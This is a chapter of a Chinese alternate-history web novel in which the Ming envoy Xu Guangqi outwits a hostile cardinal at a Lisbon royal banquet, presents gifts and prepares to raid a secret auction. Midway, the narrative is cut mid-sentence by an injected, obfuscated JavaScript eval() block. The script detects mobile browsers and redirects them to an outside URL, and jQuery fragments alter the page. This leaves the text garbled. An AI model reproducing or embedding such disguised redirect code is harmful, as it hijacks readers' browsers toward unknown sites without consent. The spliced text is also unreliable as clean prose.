第508章 王宫献国礼,光启辩群臣
作品:《寒门状元:我的大脑通古今》 道历十年九月初五,里斯本王宫。
宴会厅里点着三百根蜡烛,把穹顶上的圣母壁画照得金碧辉煌。
长条餐桌铺着雪白的亚麻布,银制餐具擦得能照出人脸。
可坐在桌边的葡萄牙贵族们,心思都不在食物上。
所有人的眼睛,都盯着大厅门口。
“大明使臣到——”
侍从官拖长声音通报。
徐光启走进来的时候,满厅的窃窃私语像被刀切断了。
他今天换了身行头:不再是昨天下船时那套正式官袍,而是一件月白色云纹绸直裰,外罩鸦青色纱褂,头戴东坡巾,腰系羊脂玉带。
简单,却透着东方特有的清贵气。
身后跟着李之藻等六名随员,个个衣着得体,步履沉稳。
再后面是八名虎贲营护卫——这是曼努埃尔一世特准的,但只准带八人。
“尊贵的大明使臣,”老国王从主座上站起身——这算是破格礼遇了,“欢迎来到里斯本。”
徐光启躬身行礼,说的却是葡萄牙语:“大明礼部右侍郎徐光启,奉我国皇帝陛下之命,拜见曼努埃尔一世陛下。愿两国友谊,如特茹河水源远流长。”
这话说得漂亮,老国王脸上笑开了花:“请入座,请入座!”
座位安排在国王右手边第一席,对面就是若昂公爵。
徐光启落座时,明显感觉到好几道不善的目光——有好奇,有轻蔑,更多的是警惕。
宴会开始。
先是惯例的祝酒、致辞、互赠客套话。
等烤乳猪端上来时,真正的戏码才上演。
“徐大人,”坐在徐光启斜对面的一个红衣主教忽然开口。
这老头六十多岁,深红色教袍,胸前挂着金十字架,眼神锐利得像鹰,“听闻贵国皇帝陛下……年方十六?”
来了。
徐光启放下酒杯,微笑:“正是。我国陛下天资聪颖,勤政爱民,实乃万民之福。”
“十六岁……”红衣主教拉长声音,“在我们欧洲,这个年纪的君主通常需要摄政王辅佐。不知贵国……”
“有靖海**惟瑾殿下辅政。”徐光启坦然接话,“正如贵国历史上,阿方索五世陛下六岁登基,由摄政委员会辅佐,终成一代明君。贤臣辅幼主,古今中外皆然。”
这话堵得漂亮——拿葡萄牙自己的历史举例,你总不能说自己祖宗不对吧?
红衣主教脸色微僵,随即换了个方向:“还听闻,贵国近年来打压天主教会,**信徒,可有此事?”
此言一出,满厅寂静。
几个贵族交换眼色,有的幸灾乐祸,有的皱眉——这也太直白了。
徐光启却没慌。
他先不答话,而是用流利的拉丁语背诵了一段经文:“‘Judgenot,thatyoubenotjudged.Forwiththejudgmentyoupronounceyouwillbejudged……’”
《马太福音》第七章,耶稣说“你们不要论断人,免得你们被论断”。
红衣主教愣住了——这中国人居然会拉丁文!还引用圣经?!
徐光启背完,才转回葡萄牙语,从容道:“主教大人,您所说的‘传闻’,光启在欧罗巴这一路也听了不少。但耳听为虚,眼见为实。”
他顿了顿,声音提高:“大明允许多教并存,佛寺、道观、清真寺、天主教堂皆可设立。南京城内就有天主教堂,利玛窦神父在那里传教十余年,深受百姓尊重。”
“利玛窦?”红衣主教皱眉,“那个去东方的意大利教士?他……”
“他就在这里。”徐光启忽然转头,朝着大厅侧门方向,“神父,请吧。”
侧门打开。
一个穿着黑色教士袍、留着大胡子的欧洲老人走进来,正是利玛窦。
他在大明待了十二年,去年奉命先行返回欧洲,为大明使团打前站。
满厅哗然。
利玛窦走到大厅中央,先向国王行礼,然后转身面向众贵族,用意大利语说道(有通事翻译):“我在大明十二年,亲眼所见,大明朝廷对天主教并无**。相反,靖海**惟瑾殿下还资助我翻译《几何原本》,在格物大学开设西学课程。”
他顿了顿,加重语气:“至于徐大人所说的南京教堂——那是万历皇帝亲批的地皮,现在每周都有弥撒,信徒数百人。主教大人若不信,可派人去东方亲眼看看。”
红衣主教脸涨红了。
他本想给大明使团一个下马威,没想到对方准备如此充分!连证人都有!
“可是……”他还想挣扎,“我听说贵国那位靖海王,独揽大权,皇帝形同虚设……”
“主教大人,”徐光启忽然打断,声音依然温和,但眼神锐利起来,“您对我国朝政如此关心,光启感激。不过,光启也有一事不明,想请教主教大人。”
他环视全场,缓缓道:“我这一路从大西洋过来,听闻欧陆有个叫‘圣殿遗产会’的秘密组织。他们自称守护上帝设定的秩序,实则暗杀、掳掠、阻碍东西方交流——五年前在好望角附近击沉葡萄牙商船‘圣玛利亚号’,船上百余人仅二十余人生还,此事主教大人可知?”
轰——
宴会厅炸了。
“圣玛利亚号”沉没是葡萄牙航海界一大悬案,官方说是风暴,可私下早有传言是被“黑袍疯子”袭击。现在被大明使臣当众捅出来……
红衣主教脸色大变:“你、你胡说!那是风暴……”
“是吗?”徐光启从袖中取出那枚锈蚀的银徽章,放在桌上,“这是在袭击者尸体上找到的。图案是七颗星环绕金雀花——正是‘圣殿遗产会’的标志。”
徽章在烛光下泛着暗沉的光。
满厅死寂。
几个知情贵族低下头,不敢看国王。
若昂公爵握酒杯的手在微微发抖。
曼努埃尔一世盯着那枚徽章,许久,缓缓开口:“徐大人……这徽章,可否让本王看看?”
徐光启示意侍从呈上。
老国王接过徽章,仔细端详,手指在那朵金雀花上摩挲。
他的脸色越来越凝重,最后长长叹了口气:“没想到……他们连大西洋都不放过。”
这话等于承认了“圣殿遗产会”的存在!
红衣主教急道:“陛下!这可能是伪造……”
“够了,安东尼奥。”曼努埃尔一世打断他,疲惫地摆摆手,“‘圣殿之手’的事……议会早就讨论过。只是碍于某些人的面子,一直没公开。”
他把徽章还给徐光启,正色道:“徐大人,本王可以保证,葡萄牙王室绝没有参与‘圣殿遗产会’的罪行。相反,我们也是受害者——三年前,本王的堂侄若昂·德·布拉干萨(另一位)去印度果阿任职,至今下落不明,怀疑就是被他们掳走了。”
徐光启心中一动——若昂·德·布拉干萨,这不正是南洋水师在果阿外海擒获的那个金雀花使者的名字吗?看来是同名不同人。
“陛下明鉴。”徐光启躬身,“我大明愿与一切爱好和平的国家交好,共同抵制此等邪恶组织。”
“说得好!”老国王举起酒杯,“为了大明与葡萄牙的友谊——干杯!”
“干杯!”
贵族们纷纷举杯,只是有些人笑得勉强。
这场交锋,大明使团完胜。
宴会继续,气氛却完全变了。
之前那些轻蔑、警惕的目光,现在多了几分敬畏。
几个年轻贵族凑过来,好奇地问东问西:大明真的有能自己走路的机器?
你们的天文望远镜能看到多远?
徐光启趁机展示使团带来的礼物。
第一件是景德镇青花瓷——一套二十四件的餐具,釉面温润如玉,青花纹饰细腻如生。
当侍从捧出来时,满厅都是惊叹声。
“上帝啊……这蓝色,比地中海还纯净!”
“这薄度,能透光!”
第二件是苏绣屏风。
四扇,绣的是春夏秋冬四季花鸟。
光线照上去,丝线折射出不同光彩,仿佛活了一般。
几个贵妇人眼睛都直了,围着屏风转,嘴里念念有词:“这要多少年才能绣出来……”
第三件是茶叶。
不是普通散茶,是精心包装的“御前龙井”,每一罐都用锡纸密封,外面再套锦盒。
徐光启当场让侍从泡了一壶,茶香弥漫整个大厅。
“清爽!回甘!”老国王喝了一口,赞不绝口,“比我们从印度买的茶叶好十倍!”
最后一件,才是重头戏。
徐光启亲自打开一个长木箱,取出那架天文望远镜。
这不是欧洲常见的单筒式,而是双筒——格物大学改良版,镜片用了新磨制技术,放大倍数达四十倍,还配了精密的赤道仪支架。
“这是我国格物大学最新研制的‘观星镜’。”徐光启介绍,“可用于观测月亮环形山、木星卫星、甚至土星光环。”
“土星光环?!”一个白发老贵族惊呼,“伽利略去年才刚发现木星卫星!你们已经能看到土星光环了?!”
徐光启微笑:“若诸位有兴趣,今晚便可一试。”
当即有几个天文学爱好者举手,连红衣主教安东尼奥都忍不住凑过来看——在科学面前,宗教偏见也得让道。
曼努埃尔一世抚摸着望远镜冰凉的黄铜镜筒,忽然问:“徐大人,贵国那位靖海王……是个怎样的人?”
全场安静下来。
徐光启沉吟片刻,郑重道:“靖海王殿下,是光启此生最敬佩的人。他出身寒微,却凭才智与毅力,十年间推动大明变革——建水师、开学堂、兴工商、修律法。若无他,便无今日之大明。”
他顿了顿,看向老国王:“殿下常说,国家强弱不在疆域大小,而在民心聚散、科技兴衰。固步自封者必衰,开放进取者**。此次遣使团西来,正是殿下力主——他说,要让大明看见世界,也让世界看见大明。”
这番话,说得铿锵有力。
曼努埃尔一世沉默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195229|186215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了许久,才缓缓点头:“贵国有此贤臣,是大明之幸。”
宴会至此,宾主尽欢。
散席时已是深夜。
徐光启走出王宫,夜风吹在脸上,带着特茹河的湿气。
李之藻跟在身旁,低声道:“大人,今日这一局,咱们赢得漂亮。”
“赢了一局而已。”徐光启望着远处圣乔治城堡的轮廓,“真正的较量,才刚开始。”
马车驶回驿馆。
刚进门,陈平就迎上来,脸色凝重:“大人,有消息。”
三人迅速进入内室。
陈平关好门,才压低声音道:“圣乔治城堡的拍卖会,时间定了——明晚子时。地点在城堡地下二层,一个废弃的葡萄酒窖。邀请函只发了二十份,都是里斯本最有势力的贵族和商人。”
他从怀中掏出一张纸条:“这是咱们的人混进去抄来的部分拍品清单。除了……那位可能有月牙疤的东方奴隶,还有几样东西,您得看看。”
徐光启接过纸条。
清单用葡萄牙文写着:
“……7号拍品:来自东方的‘星盘’,青铜制,刻有罕见星图,疑似古物。8号拍品:一套羊皮卷,内容涉及‘七星阵法’与‘血月仪式’。9号拍品:一具‘黑水教’祭司的木乃伊,保存完好……”
他的手停在“星盘”两个字上。
青铜星盘……刻有星图……
难道就是羊皮纸上说的“第二份礼物”?!
“还有,”陈平继续说,“咱们的人发现,负责组织拍卖的‘金雀花商会’,背后真正的东家是……红衣主教安东尼奥。”
徐光启瞳孔一缩。
安东尼奥?那个宴会上刁难他的红衣主教?!
难怪他那么急赤白脸地否认“圣殿遗产会”的存在,原来他自己就是其中一员!
“另外,”陈平声音更低了,“拍卖会明晚,但今天下午,已经有三批‘特殊货物’提前运进城堡了。其中一批,是六个大木箱,很沉,搬运时能听见金属碰撞声。”
“武器?”李之藻问。
“不像。”陈平摇头,“金属碰撞声很脆,像是……钟、或者铃。”
钟?
徐光启脑中闪过一个念头,但没抓住。
“大人,”孙传庭推门进来,手里拿着封信,“驿馆门房刚收到的,匿名信。”
徐光启拆开。
信上只有一行字,用汉字写的:
“明夜拍卖,第九号拍品是饵,勿近。你要找的人在第七号拍品处。取物后,从酒窖东侧排水道离开,出口在特茹河边。——同一个朋友”
又是那个“智者”!
徐光启握紧信纸。
这个人到底是谁?
为什么对拍卖会了如指掌?
连逃生路线都规划好了?
“大人,咱们……”孙传庭欲言又止。
“去。”徐光启斩钉截铁,“明晚,我亲自去。”
“可这太危险了!万一是个陷阱……”
“是陷阱也要去。”徐光启看向窗外圣乔治城堡的方向,“第七号拍品如果是星盘,那很可能就是破解金雀花会阴谋的关键。至于我要找的人……”
他想起那个可能左眉角有月牙疤的奴隶。
靖海王的堂弟。
无论如何,必须救出来。
“孙将军,你带二十名好手,提前混入城堡附近埋伏。陈平,你负责接应,准备好船在特茹河边等着。”
“李之藻,你留在驿馆,若我们天亮未归,立刻联系‘破浪号’,让炮口对准圣乔治城堡——必要时,直接开炮。”
三人凛然:“是!”
徐光启走到书桌前,摊开里斯本地图,手指在圣乔治城堡的位置重重一点。
明晚子时。
他倒要看看,这座古老的城堡里,究竟藏着多少秘密。
以及那个神秘的“朋友”,到底是敌是友。
王宫辩论大获全胜,徐光启智压群臣,大明气度尽显。
然而圣乔治城堡拍卖会的秘密清单,却揭露了更深的阴谋——红衣主教安东尼奥竟是金雀花商会背后东家!
更诡异的是,匿名信再次出现,“智者”不仅预知拍卖会细节,还明确指示第七号拍品(青铜星盘)是关键,第九号拍品(黑水教祭司木乃伊)是陷阱。
几乎同一时间,负责监视安东尼奥主教府的锦衣卫传回急报:今夜子时,主教府后门悄悄驶出三辆马车,车上运的不是货物,而是六个被麻袋套头、手脚捆缚的人!
其中一人的身形特征,与南洋水师在果阿擒获的金雀花使者若昂·德·布拉干萨极其相似!
难道这位本该被关押在果阿的使者,早已被秘密转移至里斯本?
而拍卖会上将要出现的“月牙疤奴隶”,是否也只是诱饵?
徐光启猛然惊觉:明夜的拍卖会,恐怕不止是买卖,更可能是一场针对大明使团的——请君入瓮之局!
那个神秘的“朋友”,究竟是在帮他们,还是在引导他们踏入更精密的圈套?
距离子时,只剩十二个时辰。

